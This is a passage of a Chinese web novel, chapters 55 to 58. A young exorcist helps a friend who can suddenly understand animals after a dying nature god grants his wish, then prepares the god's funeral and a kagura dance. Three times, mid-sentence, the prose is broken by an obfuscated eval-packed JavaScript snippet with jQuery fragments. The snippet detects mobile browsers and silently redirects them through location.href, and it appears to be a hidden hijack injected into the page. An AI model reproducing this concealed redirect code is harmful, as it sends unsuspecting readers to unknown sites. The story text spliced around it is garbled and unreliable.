那个声音忽然止住,似乎对方不想被人发现,但也许是太过疼痛,过了一会儿又有痛苦的呻吟声传了过来。 飒真大起胆子,顺着声响的方向又走了几步,他绕过一棵树探身看过去,正好对上一双可怜兮兮的眼睛。 “被发现了呜呜呜!” “……诶?!!!” * “朔也,救我!” 听到飒真在电话里这么说的时候,朔也愣了足足三秒钟。 “你怎么了?” “哎,电话里说不清楚,我来找你吧!你在家吗?” 听对方的声音还挺活蹦乱跳,朔也稍稍松了口气,人没事就好。 “嗯,在家,你现在过来吗?” “马上!” 听着话筒里的盲音,朔也思考了一会儿。 飒真不是一直都泡在塾里么,能有什么十万火急的事需要他帮忙? 半个小时后,满头大汗坐在朔也房间里的飒真,语无伦次地说出了他的紧急情况。 55.第五十五章 飒真 * “我、我能听见动物说话了!!!” “……”朔也平静地看着他。 “真的!我刚刚把难产的猫送进宠物医院,然后医院的它们也都能说话,我全都懂!” 朔也理解了一会儿,问道:“你的意思是说,你碰到一只难产的猫,能听懂它说的话,然后你把它送进了宠物医院,在那里发现自己能听懂其他动物说的话?” “对对对!就是这样!”飒真急切地点点头,“我这是怎么了?撞鬼了吗?你能解决吧?!” 朔也愣了一下,微微挑眉,“你觉得的场家是干什么的?” 飒真打量着朔也的表情,不确定地问道:“驱鬼的?或者驱邪的?总之就是可以做法事那种……你们应该可以看见鬼魂之类的东西吧?” 朔也有些想笑,又有些无语,飒真一直没问过他关于的场家的事,他之前还以为是飒真不在意这些,没想到原来是这家伙自有一套脑补,虽然也大差不差就是了。 “呃,我猜得不对吗?”飒真开始自我怀疑。 “倒也不算错……算了,先说说你的事吧,从头开始,别着急,慢慢说清楚。” “啊,好的。” 朔也的冷静让飒真也慢慢平复下来,把之前的事情详细讲了一遍。 他在路上听见声音后,鼓起勇气去搜寻,结果发现是一只猫在说话,他还没从这个突发情况里清醒过来,就被得知他能听懂自己话的猫求助了。 那只猫妈妈难产,疼得厉害,祈求飒真帮忙。 飒真外表看着不好惹,其实是个非常温柔的人,即便没搞懂自己是什么状况,还是第一时间把猫送到了附近的宠物医院,也正是在医院里,他发现每只宠物说的话他都能听懂。 这么荒谬的事情让飒真第一时间就想到了朔也,虽然他从来没和朔也聊过这方面的东西,但隐约知道朔也能够处理一些棘手的异常状况,之前秋山同学的事就是朔也帮忙解决的。 “所有宠物的话你都能听懂吗?” 飒真回忆了一下,“猫、狗、兔子、鸟……这些我都能听见。” 朔也顿时有了主意,“这样啊,那让八咫来试试吧。” 他拿出一个哨子站在窗边吹了几声,没过一会儿,一个白色的身影就快速地冲了过来。 “嘎!” 八咫在朔也肩头站定,看向正坐在桌边的飒真。 “嘎!” “呃,八咫,好久不见。” “嘎?” “啊,抱歉,今天来得太匆忙了,没给你带坚果……” “嘎!” “好的好的,下次给你带双份!” “嘎?” “我也不知道,今天突然发现自己能听懂了。” “嘎!” “哈哈哈是吗?但总觉得怪怪的。” 朔也在一旁饶有兴趣地看着一人一鸟一问一答,突然说道:“飒真,你问问八咫,我的手机充电线是不是它咬断的。” 飒真偷笑了一声,冲八咫重复了一遍朔也的问题。 这次八咫不开口了,也不看两人,自顾自地飞到笼子里开始认真给自己打理羽毛。 飒真忍着笑看向朔也,“还问吗?” “算了,它都不打自招了。” 朔也坐回桌前,看向飒真,问道:“你这几天有碰到什么特别的事吗?尤其是昨天,你仔细回忆一下,任何事情,哪怕很小也可以说。” “唔,昨天……”飒真仰头想了一会儿,“我昨天和往常一样,在家吃完早餐就去塾里了,是家里司机送的我……路上遇到的红灯比平时多算吗?” “继续。” “呃,然后就到塾里开始上课了,因为今天要考试,我昨天快疯了!笔记太多我都看不过来,越看越想吐,这个算吗?” “下一个。” “啊,因为太恶心,我就偷偷跑去附近的便利店吃冰激凌了,然后……”飒真顿了一下,忽然兴奋起来,“我想起来了!我拿着冰激凌去公园吃,在公园的湖边救了一只刺猬!” “刺猬?”朔也问道:“你确定那是刺猬吗?” “当然确定!这种常见的动物我肯定不会认错的。” 飒真回想了一下,说道:“它就是一只刺猬,不过没有别的刺猬那么胆小,我把它从湖里救上来的时候,它还站起来看了我一会儿,像人一样。” “对了,它有只腿受伤了,伤口还有点深,我用随身的创可贴帮它贴起来后,它冲我点点头就走了。” “怎么样?这个算吗?” 朔也若有所思,“继续。” 飒真又讲了之后的事情,基本上就是在笔记和习题的海洋里挣扎,然后晕乎乎地回家、吃饭、洗漱、学习、睡觉,以及做了个考试考砸的噩梦。 “飒真,你在救那只刺猬的时候,有和它说过什么话吗?” “我干嘛和一只刺猬说话……”飒真话还未说完自己就愣住了,他沉吟了好一会儿,才看着朔也有些心虚地说道:“我其实没和它说话,就是自言自语。” 朔也点头,“那你自言自语了什么?” “呃、我当时看它的伤口有些深,也不知道严不严重,纠结了很久,期间说了一句……” “要是能和动物说话就好了。” 回想起这句自己说过的话,飒真的脸顿时白了,不用朔也说他也明白,自己的异样估计就和这句话有关。 看着飒真骤变的脸色,朔也轻笑了一声。 飒真有点崩溃,“不会吧?就因为我说了这句话?” “是哦,它大概以为你是在祈愿吧。” “祈愿?” 朔也笑着解释道:“你救的刺猬也许是某位神明的化身,为了感谢你,就将你随口说出的愿望实现了。” 飒真目瞪口呆,“那、那现在怎么办?” “因为这不是诅咒,所以对你的身体没什么影响。”朔也斟酌了一下,说道:“如果用游戏术语的话,就是你完成了NPC的任务,获得了一项新技能。” “啊……”飒真秒懂,但依然很是纠结。 “你不喜欢吗?能听懂动物说话应该还挺有趣的。” “是很有趣没错,但……”飒真挠了挠头,有些苦恼地说道:“总觉得很怪异。” 朔也理解地点点头,对普通人来说,幻想变成现实其实很具有冲击性,也会引来许多连带的麻烦。 “那你想消除这种能力吗?” “还可以消除?”飒真有些惊讶。 “如果能找到那位神明,应该可以。” “唔。”飒真皱起眉头,比之前更纠结了,“怎么说呢……消除应该会更好吧?但我又觉得有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921013|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不舍……” “那你多体验几天再决定吧。”朔也笑了笑,“我先打听下那位神明的事情。” “太感谢了,朔也!还好我有你这个朋友。”飒真庆幸道。 “飒真,我也得感谢你。”朔也笑道:“就算知道我很‘奇怪’也不介意。” 飒真明明看出他的不同却从来没有问过,应该是为了顾及他的心情,如果不是这次的事情让飒真太慌张,他估计会继续假装不知道,直到自己主动和他提起的那一天。 “呃,其实我挺好奇的。”飒真不好意思地笑起来,“我现在可以问吗?” “你想问什么?”朔也饶有兴致地看着他。 “你真的能看见鬼魂吗?”飒真兴奋中带着些紧张。 “我确实能看见一些别人看不见的东西。”朔也见飒真瞪大眼睛,笑道:“但不是鬼魂,是妖怪。” “诶?妖怪?!”飒真更兴奋了,“百鬼夜行里那种妖怪?” “差不多吧。” “好酷!”飒真看了看周围,“妖怪多吗?我们附近有么?” 朔也面无表情慢慢扫视着四周,在飒真越来越紧张的神情里,忽然笑道:“当然没有了,我可是除妖师,怎么可能允许房间里有妖怪。” “除妖师?”飒真品味了一番,眼睛亮了起来,“真的好酷啊,朔也!” 热衷游戏的飒真也算半个二次元了,说起鬼魂之类的可能还会害怕,但说起妖怪他只会联想到一系列游戏设定和动漫作品。 如今发现自己的大亲友竟然是“除妖师”这种自带二次元感的职业,飒真顿时化身提问机器,缠着朔也讲了大半天除妖的事情。 “别太好奇了,飒真,真实的妖怪是很麻烦的。”朔也严肃地提醒道:“如果被妖怪缠上,和被鬼怪缠上没什么区别,妖怪也是会吃人的。” 飒真被朔也突然严肃起来的态度震慑,老实地点点头,“我知道了。” 他想了想,看向朔也绑着绷带的手,“那你手上的伤……” 朔也没想到他这么快就联系到了自己身上,“是啊,当时可是差点死掉。” “哈?!”飒真吓了一大跳,结结巴巴地问道:“这、这么严重吗?” 他想起时常请假的朔也,脸色发青,再也不觉得能看见妖怪是什么很酷的事情了。 “那、那你之前请病假也都是因为妖怪么?” 朔也本想点头,好把飒真对妖怪的好奇心吓走,但看了看对方的表情,他还是笑道:“怎么可能!那些是真的生病。” 见飒真仍一脸怀疑的样子,朔也无奈地解释道:“重伤就小时候那一次,我来的场家后就没再受过伤了,静司先生会保护我。” “啊,这样就好!” 飒真松了口气,的场学长看上去就很厉害的样子,有他保护朔也确实安全多了。 “飒真,有些晚了,你要留下来吃晚餐吗?”朔也看了看天色,“正好待会儿静司先生就回来了,你也可以找他咨询一下。” 飒真尬笑了两声,“呃,我先回家了,你知道的……” 朔也很理解,的场家日常的排场已经很克制了,但在不熟悉这种生活的人眼里还是会显得很严肃。 “好吧,我再拿些新的符咒给你,最近一定要随身带着。” “嗯嗯,朔也,要不多给我几个吧!” 56.第五十六章 神明 * “听上去确实像是某位神明,不过有些奇怪。”听完朔也的描述,的场静司如此说道。 “奇怪?”朔也顿时紧张起来。 的场静司思忖道:“如果连掉到湖里都需要人类相救的话,大概是力量很弱小的神明,但让人类能够听懂兽语可是需要不少神力。” 朔也皱起眉,“难道那位神明是故意的?” 故意吸引飒真救祂,然后赋予飒真能力? “神明不会欺骗人类。”的场静司安慰道:“也许有别的缘故,先打听那位神明的消息吧。” 要打听这样的消息,自然只能通过除妖师的式神和熟悉的妖怪。 不过朔也能提供的线索太少了,而且神明和妖怪不一样,他们没有具体的形体,显形时的形态也不固定。 飒真看到的刺猬形态也许只是那位神明一时兴起幻化而成的,在不知道尊讳的情况下打探消息着实比较困难。 朔也特意打电话问了夏目,他的本意是让夏目问问那只丑猫,但难得能给朔也帮忙,夏目很是积极,甚至不小心说漏了嘴。 “我去问问三筱它们,有消息了就告诉你。” “三筱?” “啊!呃,三筱是……” 夏目支支吾吾,朔也马上反应过来,之前在旧别墅的时候,他可是看到好大一群妖怪的。 朔也无奈地说道:“我知道了,如果有消息的话,我会感谢你的妖怪朋友的。” 电话那头的夏目尴尬地笑了几声。 不过这倒是提醒了朔也,他还可以去一个能打听神明消息的地方。 * “喂!朔也,你来这里干什么?” 朔也看着站在树杈上、尾巴翘得十分嚣张的山猫。 “这话该我问你才对吧?在鹿鸣神宫附近鬼鬼祟祟地出没,要干什么?” 朔也不问这话还好,一问出口,山猫更显得意。 “哼,本大爷可是已经见过寒椿了哦!” 朔也有些讶异,“哦呀,终于鼓起勇气去道歉了么?” “哼,本大爷一直都敢作敢当!” 山猫龇了龇牙,幻化成少年的样子跳到地上。 “我看寒椿在神社里待着挺无聊的,所以经常过来陪伴它。” “鹿神大人不能离开神社吗?”朔也疑惑道。 “能。”蓼牙一脸不快,“但它想聆听人们的祈愿,所以大部分时间都待在神社里。” 朔也忍不住吐槽,“无所事事的妖怪没资格抱怨履行职责的神明。” “呵,人类那些无聊的愿望有什么好听的。” 朔也瞥了它一眼,说道:“那你自己玩吧,拥有无聊愿望的我要去参拜鹿神大人了。” “哈?”蓼牙愣了一下,赶紧跟上朔也,“你有什么愿望?找寒椿干什么?” “你又不是鹿神大人,打听这么多干嘛?” “本大爷是寒椿的朋友,你找它当然和我有关系!” 蓼牙好奇得不得了,一步一趋,都快贴到朔也身上了。 “说说嘛,你要许什么愿望?” 朔也停下来,斜睨着蓼牙,“你不是说人类的愿望没什么好听的吗?” “呃。”蓼牙被噎了一下,挠挠头妥协道:“你除外,毕竟勉强也算是本大爷的熟人。” 朔也本就想让蓼牙帮忙,刚刚不过逗弄它罢了,现在看它妥协,便笑道:“我在找一位可以幻化为刺猬、而且能让人听懂动物说话的神明,既然你很闲的话,就来帮忙吧。” “什么呀,原来只是这种事……”蓼牙显得很失望。 “那你希望是什么事?”朔也怀疑地问道。 蓼牙打量了一下他,确实很难将眼前的少年除妖师和那些常见的“恋爱、财富、事业……”之类的祈愿联系起来,于是讪讪地说道:“好吧,我会帮你找的。” “那多谢了。”朔也微笑着递给蓼牙一张符咒,“有消息的话,可以带着这个去的场本宅找我,如果你不害怕的话。” “嘁!本大爷岂会怕区区一个的场!” 蓼牙仰着头一脸不屑的样子,手上却没有丝毫犹豫地把符咒揣进了兜里。 朔也无奈地暗暗摇头,猫科动物都是这种傲娇性格吧。 * 距离朔也上次来鹿鸣神宫已经很久了,所以宫司见到他格外高兴,听说他要参拜鹿神,很快就将他带到了拜殿。 做完参拜仪式,朔也认真地祈愿,恳请鹿神能帮他找到那位不知名的神明。 朔也这次供奉的是时下开得正盛的金木犀,当他祈愿完,金木犀的香气瞬间弥漫了整座拜殿。 这应该是鹿神应下他的祈愿的意思吧,朔也心想。 而宫司高兴极了,他看着朔也的眼神慈爱得近乎肉麻,亲切又热情地感叹道:“不愧是鹿神大人喜爱的孩子啊!只要铃木君来参拜,鹿神大人就很愉悦呢。” 朔也尴尬地笑了笑,赶紧转移话题,“宫司先生,我有件事想请教您。” 宫司欣然同意,特意邀请朔也去喝茶,正好尝尝神社新出的点心。 除妖师对妖怪比较了解,但若说起神明的话,还是像宫司这样的神职人员更清楚。 听朔也说了大概情况后,宫司仅略作思考就回道:“那应该是一位自然神。” “传说此地有‘八百万神明’,其中大部分都是自然神,在这类神明中,会幻化为动物形态的,一般是山神或掌管动物生灵的神明。” “如果这位神明能赋予人类聆听兽语的能力,想必神格高贵,这样的神明一般都会有自己的神社。” 说到这里,宫司细细想了一会儿,疑惑道:“不过在本地的神社中,我尚未听闻有哪一处供奉着这样的神明,但若说是新诞生的神明的话,这种情况又着实太少见了。” 朔也若有所思地点点头,“我明白了,谢谢您!” 宫司越看朔也越满意,与之相对的则是对于朔也归属于的场一门的遗憾。 “铃木君若是能踏上神道一途,定有一番作为。” 朔也愣了一下,笑道:“成为除妖师也是缘分所至。” 宫司遗憾地叹息一声,又不得不赞同地颔首。 * 朔也在努力打听神明的消息,而飒真,他似乎在家附近的动物中出了名。 但凡出门,飒真总会碰到各种小动物猫猫祟祟或狗狗祟祟地偷窥,明明都听说了他能听懂兽语,还当着他的面蛐蛐他。 家附近的鸟儿们更是不得了,有事没事都会往他们家院子里的树上一蹲,仗着好视野偷瞄飒真的房间,搞得飒真最近都不敢拉开窗帘。 飒真在打给朔也的电话里大倒苦水。 “求求你了,朔也,快让那位神明消除这个能力吧,我现在都不敢出门了!” “哦呀,竟然这么快就做出选择了吗?”朔也笑道。 “你不知道,我已经成了这一片的免费兽医了!” 飒真无奈地吐槽道:“除蜱虫,拔脚上的刺,给打架受伤的上药,给误食异物的催吐……” 朔也忍俊不禁,“听上去你的‘诊所’还挺忙的呢。” “朔——也——”飒真崩溃。 “好了好了,我在打听了。”朔也终于良心发现,安抚道:“但那位毕竟是神明,不是人类能随便触及的,只能辛苦你多忍耐一段时间了。” “哎,我知道。”飒真倾诉完苦水,稍微平静了一些,“我不是想催促你,就是,哎,没想到会这么麻烦……” “朔也,你有那样的能力的话,平时也会遇到各种麻烦么?” “以前会有哦。”朔也笑道:“不过现在不会了。” “为什么?”飒真的脑筋一时没转过弯。 “因为妖怪也怕挨揍啊。” “啊?哦,也对……”飒真终于回味过来,也顿时明白,自己是没法从朔也这里学到什么应付那些动物的办法了。 打着电话的朔也顺着细微的响动瞥了一眼窗外,简单地对飒真交代几句就挂断了电话。 他走到窗边,打开窗户,挑眉问道:“竟然这么快就有消息了?” “那当然,也不看看本大爷是谁!” 山猫形态的蓼牙扒在窗户上,好奇地往朔也的房间里张望着。 “蓼牙,进来吧。” 受到朔也的邀请,蓼牙感觉面前的结界瞬间消失,它高兴地跳进室内,而后大摇大摆地在房间里逛了一圈。 “哼,你的领地也不过如此嘛。” 傲娇的山猫妖怪如此评价道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928728|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 朔也不以为意地笑了笑,“我还以为对妖怪来说,人类的领地有点太大了。” 蓼牙顿时气闷地闭上了嘴。 “好啦,别生气,请用茶吧。” 朔也斟好茶,又在旁边放上前不久千夏刚送来的甜点。 周到的招待让蓼牙心情瞬间好起来,它幻化为少年人坐到朔也对面,盯着色香味都很诱人的甜点看了一会儿,然后一口吞了下去。 朔也怔愣几秒,索性又将自己的那份推到它跟前。 蓼牙对他的懂事表现很是满意,又是一口吞下,这才满足地灌了一杯茶。 享用了待客之物,蓼牙也没有卖关子。 “你要找的那位神明大概是‘丰野神’。” “丰野神?” 朔也没听说过这位神明,也没在本地民俗相关的资料里看见过和祂有关的记载,但偏偏又觉得这个名字有些熟悉。 “这位丰野神的神龛在哪里?” 蓼牙摇了摇头,“不知道。” 朔也蹙眉,“那也不知道是哪座神社供奉祂了?” 蓼牙点点头,“那当然了。” 朔也瞥了它一眼,“那你还知道什么?” “知道祂是一位非常古老的神明,非常非常古老那种。”蓼牙想了想,说道:“就连我和寒椿,在祂眼里也只是小孩子。” 朔也沉吟了一会儿,突然问道:“这些都是鹿神大人告诉你的?” “是啊,呃……你怎么知道?!”蓼牙一脸吃惊,“我明明没说!” 朔也看着它,微笑不语。 蓼牙不爽地龇了龇牙,闷声说道:“算你猜对了,寒椿本来想亲自告诉你的,但我不是和你还算熟吗,就帮它跑一趟咯。” “嗯……”朔也想了一会儿,问道:“所以你是打算做鹿神大人的神使吗?” “哈?!”蓼牙瞪大猫眼,结结巴巴地说道:“什、什么神、神使?” “难道你没想过这个可能吗?” 朔也思忖道:“你和鹿神大人这么亲近,虽然是很顽劣的妖怪,但也不是什么作恶多端的家伙,想必成为神使的话,会在鹿神大人的指引下改邪归正的……” “呃、我、本、本大爷哪里顽、顽劣了!” 蓼牙虽然嘴硬地反驳着,但红得快要冒热气的脸、四处游移的眼神和压都压不下去的嘴角无不暴露着它的真实情绪。 “而且,你做了神使,就可以名正言顺地陪伴在鹿神大人身边了,这样你和鹿神大人都会很开心吧。” 至少他这次去鹿鸣神宫参拜的时候,就觉得鹿神似乎更高兴了一些。 这句话对蓼牙来说不亚于“绝杀”,它捂着脸安静了一会儿,再抬起头时整个妖呈现出自信心爆棚的兴奋模样。 “你的主意很不错,本大爷深思熟虑一番后,决定成为寒椿的神使!” “……你的深思熟虑还真是迅速啊。”朔也吐槽。 “本大爷这就去找寒椿……” 蓼牙刚准备起身,就被朔也拽住了,“丰野神的事你还没说完!” “就刚刚那些啊。”蓼牙理直气壮。 朔也盯着他,眯起眼睛,“你确定?” 蓼牙没办法,又回忆了一会儿,才说道:“啊,寒椿说它会去拜见丰野神,转告你的祈愿,如果丰野神愿意的话,应该会见你的。” 朔也这才放开蓼牙。 “多谢鹿神大人,之后我会和朋友一起去参拜的。” “也谢谢你了,蓼牙。” 蓼牙这会儿“归心似箭”,随意地摆了摆手,就化为山猫跃出了窗外,正好把刚飞回来的八咫吓了一大跳。 “嘎!嘎!嘎!” 八咫又惊又吓,生气得叫了好几声,听得朔也都快聋了。 “好了好了,它是客人来着。” “嘎——” 八咫拉长声音,把尾巴硬凑到朔也眼前,朔也才发现它漂亮的尾羽少了一根。 “嘎!”八咫大声控诉。 就算听不懂动物的话,朔也也能猜到它在说什么。 “好吧,下次我拔它一根胡子给你。” “嘎……”八咫勉强满意了。 朔也松了口气,他突然有点理解飒真的崩溃了。 57.第五十七章 豐埜 * 朔也能这么快打听到一位神明的消息,让的场静司非常意外。 “是请教了鹿鸣神宫的宫司吗?” “嗯。”朔也点点头,“不过也向鹿神大人祈愿了,正好祂知道一些消息。” 的场静司失笑,他还是第一次见到除妖师为了打探消息向神明求助的,朔也的大胆程度和他不遑多让。 “据说丰野神是一位非常古老的神明,静司先生,你有听说过吗?” 的场静司若有所思,“我没有听过这位神明的尊讳,不过感觉有些熟悉。” “是吧!”朔也顿时来了精神,“我也觉得很熟悉,总觉得在哪儿看见过相似的信息。” 两人对视一眼,一同起身,准备去资料库看看。 在翻遍了各种古老的记载后,两人终于有了点发现。 他们所在的这片城镇,在数千年前曾是一大片丘陵荒原,被当时的人们称为“豐埜之丘”。 因为这里土地肥沃、水源丰富、山林茂密,所以越来越多的人来到这里生活,由此形成了村落,并逐渐演化为如今繁华的城镇。 而“豐埜”,正是“丰野”的古称。 “难道丰野神就是这片土地最初的神明?”朔也很是吃惊,“但这么古老的神明,怎么可能弱小到需要人类相救呢?” 的场静司想了想,推测道:“祂大概曾是‘豐埜之丘’的山神,但来到这里的人不知道祂的存在,所以没有供奉祂。” “像丰野神这样由自然孕育出的神明,不会因为缺少人类的信仰而消亡,祂的力量来自这片土地和生灵。” 朔也想了想,明白了的场静司的意思。 曾经的豐埜之丘如今已被人类开发成水泥钢筋铸就的城市,绵延的丘陵被人们开垦为田地,有的甚至直接被削平,成为道路或承载起建筑。 而蜿蜒的河流也不得不配合城市的建设被截流、改道,筑起水泥堤坝,大量的树木被砍伐,不少古树都消失在城市迅猛的扩张中。 原始植被减少,飞鸟走兽、甚至昆虫都丧失了生存的领地…… 此消彼长,人类的城市日益兴盛,豐埜之丘则逐渐消失,失去了来自自然的力量,又没有人类的信仰和供奉,丰野神也会走向消亡。 所以,曾守护这片土地的山神,就要消失了吗? 两人沉默了半晌,朔也蹙眉问道:“现在供奉丰野神还来得及吗?” 的场静司看了朔也一眼,“也许吧……不过神明和人类一样,也有自己的终点。” 他说得很委婉,但朔也知道,要挽救一位神明,几乎是不可能的事情。 面对即将消亡的结局,这位神明又是如何想的呢? 但愿鹿神大人能说服丰野神,让自己前去参拜祂吧。 * 朔也隐约听见有谁在呼唤自己。 他迷迷糊糊地睁开眼睛,发现八咫正站在枕头旁看着他。 “八咫?” 朔也坐起身,有些疑惑,八咫平时不会在深夜打扰他。 「铃木朔也。」 呼唤朔也的声音空灵而微弱。 伴随着声响,一个光团慢慢地浮现在朔也面前。 朔也瞪大眼睛,怔愣几秒,才试探着问道:“请问是丰野神大人吗?” 光团微微闪烁。 「吾乃丰野神。」 朔也很吃惊,他没想到也丰野神会来找他,更没想到对方的力量已经如此微弱了。 「人类的孩子,你在召唤吾。」 朔也赶紧正襟危坐,行礼道:“丰野神大人,我正在找寻您。” “我的朋友高杉飒真不久前与您结缘,您赋予了他聆听兽语的能力。” “他身为人类难以驾驭这样的力量,为此感到困扰,所以祈求您收回赋予他的才能,让他回归普通人的生活。” 「他的愿望,吾已知晓。」 「但如你所见,孩子,吾之力量已无法回应他的祈愿。」 朔也看着有些暗淡的光团,一时不知道该说什么,前几天还能以刺猬形态显形的丰野神,如今连显形也无法做到了,可见其力量消失之快。 「吾消亡之后,那个孩子获得的力量也将消失。」 丰野神的解释这让朔也松了口气,也让他觉得心里很不是滋味。 “丰野神大人,作为豐埜之丘的子民,我可以为您做点什么吗?” 「人类的孩子,请将我的遗留之物带回来时之处吧。」 光团慢慢飘向朔也的方向,他伸出手,随着光团的消散,一个由斑斓树叶和细细藤蔓编织而成的小袋子落入他的双手之中。 「不用难过。」 「万物皆有终结之时。」 …… “嘎!” 八咫粗哑的声音打破了晨间的清静。 朔也一个激灵睁开眼,猛地坐起身看向四周,他不知道自己昨晚是什么时候再睡过去的,甚至不知道昨晚的事情到底是真实发生的还是只是梦境。 还好,躺在他枕头边的小袋子证明了昨晚绝不是梦境。 朔也拿起袋子细细打量着,袋子只有手掌大小,他掂了掂,感受到一些重量。 会是什么呢? 朔也有些好奇。 袋子的开口处只是简单地束在一起,也许轻轻一拉就能打开。 朔也想了想,没有打开,而是拿着袋子径直走出门。 * 朔也的房间和的场静司的相邻,但朔也却从没在早上进过对方的房间。 所以,当朔也看到穿着睡衣的的场静司披散着头发、一脸慵懒地拉开门时,不禁愣了好一会儿,直到对方轻笑出声,他才反应过来。 “呃,抱歉,吵醒你了吗?”朔也红着脸移开视线。 的场静司弯起嘴角,侧过身,“没有哦,进来吧。” 朔也听话地走了进去,明明这个房间还是他熟悉的模样,他却不敢乱看,只乖乖地坐到矮桌旁。 的场静司拉开窗户,倒了杯温水放在朔也面前,自己也喝了一杯,这才懒洋洋地坐到朔也对面。 “怎么了?” 刚刚喝过水,的场静司的声音没了此前起床时的低沉,这让朔也顿时自在了许多,他将丰野神遗留的小袋子小心地放到桌上。 “昨晚丰野神过来了,给我留下了这个。” 在的场静司诧异的神情里,朔也将昨晚的情形讲了一遍。 “在梦里,我看到了一个地方,似乎是在某条溪流的源头处,那附近有一个坍塌的小祠,我觉得里应该就是丰野神说的‘来时之处’。” 的场静司拿起袋子端详了一会儿,思忖道:“看来,丰野神是将祂的葬仪交给了你。” “诶?!”朔也吓了一跳,难以置信,“葬仪?交给我?” “嗯。”的场静司点点头,看着朔也若有所思,“说起来,朔也确实很得神明的喜爱呢。” 如果之前鹿神对朔也的喜爱还可以说情有可原的话,那这次丰野神初见朔也就授予了这么重要的神谕,足见其偏爱。 朔也还在震惊之中,他脑子里乱成了一堆麻线,好一会儿才揪出一根线头,下意识问道:“神明的葬仪,该如何举办呢?” “啊,这个应该还没人举办过。” “诶?” “传说中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933071|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唯一一位‘死亡’的神明只有‘迦具土神’,但那是上古时期的神明了。” 的场静司回想着,解释道:“一些古老的神社会举行特殊的祭祀仪式来送别失去灵力的‘神体’,但这种‘神体’只是神明降灵时的依附之物,而非神明本身,所以不算是葬仪。” “那怎么办?”朔也皱着眉问道:“应该还是得参考过往的仪式吧?” 的场静司想了想,“可以先咨询神社的宫司。” 这倒是提醒了朔也,他马上想起一个人来。 “静司先生,要不我们去问问月见先生吧?他那里有超多古籍,我们也可以找找看!” “哦呀,那位月见神社的神主吗?” 的场静司微笑着点了点头。 * 听说朔也要带人来拜访,月见清很爽快地答应了。 虽然的场静司让七濑调查过月见清,但没见过他的样子,以至于初见时的场静司感到有些意外。 据说月见清早年就随亲人移居海外,的场静司原以为对方会显得更西化一些,但实际上,仅从外在的言行举止来看,月见清是个比的场家这种“守旧”家族更有古典做派的人。 如果说有什么让对方显得不那么“古典”,那就是他对神明的态度不像其他神职人员那么尊崇郑重,显得有些随意。 “既然丰野神将葬仪托付给了铃木君,那一切事由让铃木君决定就好,祂会满意的。” 月见清喝了口茶,淡定地说道:“毕竟,若不是铃木君召唤祂的话,悄无声息地消亡才是祂的宿命。” 朔也惊讶道:“呃,但是我完全不懂这些……”祭祀神明和向妖怪献祭可完全是两码事。 “没关系。”月见清笑道:“我可以将已有的祭祀方法整理出来,铃木君按照自己的理解安排就好。” “呃,好的,谢谢月见先生。” 月见清见朔也还是有些纠结,安慰道:“要是担心触怒神明的话,不如就由铃木君来为丰野神献上‘神楽’吧。” “啊?” “虽然神楽一般由巫女来表演,但若是铃木君这样纯净又强大的少年来献舞,神明也会很愉悦。” “诶?!”朔也瞪大眼睛,“神楽什么的,我可从来没跳过!” 的场静司突然笑了起来,“其实不难哦,朔也应该很快就可以学会。” “什么呀!静司先生别说的好像自己学过一样!” 的场静司笑而不语。 朔也看着他,眼睛瞪得更大了,不会吧?难道静司先生真学过? 月见清温和地笑道:“如果是铃木君献上神楽的话,这样的心意,神明无论如何都会很满意的。” 在两个人一唱一和之下,朔也犹豫了一会儿,还是应了下来。 不过好在另一个问题也很快解决了。 神明的葬仪肯定需要宫司来主持,但丰野神没有被人类供奉,自然没有宫司。 而其他神社的宫司因为一心侍奉自己信仰的神明,若是要给丰野神主持葬仪,多少有些为难。 所以月见清主动表示他可以做葬仪的宫司。 这可是帮了大忙。 倒是朔也有些担心,“那月神大人……” 月见清轻笑道:“月神大人会同意的,祂可是位好脾气的神明。” 见月见清说得如此轻松又笃定,朔也安心了一些,索性积极地去给月见神社设置结界了。 的场静司因为对月见家的古籍感到好奇,则跟着月见清一起去查祭祀仪式的资料,两人大概是因为家庭环境相似的缘故,很是聊得来。 的场静司心中的疑虑,因此消去了不少。 58.第五十八章 神楽 * 要筹备丰野神的葬仪可不是件小事,还好有的场静司和月见清两个靠谱的大人在,身为高中生的朔也在确定仪式流程后,主要的工作就是找到丰野神“来时之处”的具体地点,以及学习神楽之舞。 说实在的,朔也觉得后面这个任务比前一个难多了。 就在他纠结的时候,夏目正好打电话过来。 电话那头的夏目有些不好意思,他询问了一圈,即便是像三筱那样的大妖也对丰野神一无所知。 “没关系,丰野神的事情已经弄清楚了。” 朔也解释着,突然灵光一闪,“夏目,你最近有空吗?” “嗯,有的。”夏目好奇回道:“还有什么我可以帮忙的吗?” 朔也弯起嘴角,“我来找你吧,当面说比较好。”嘿嘿~ * 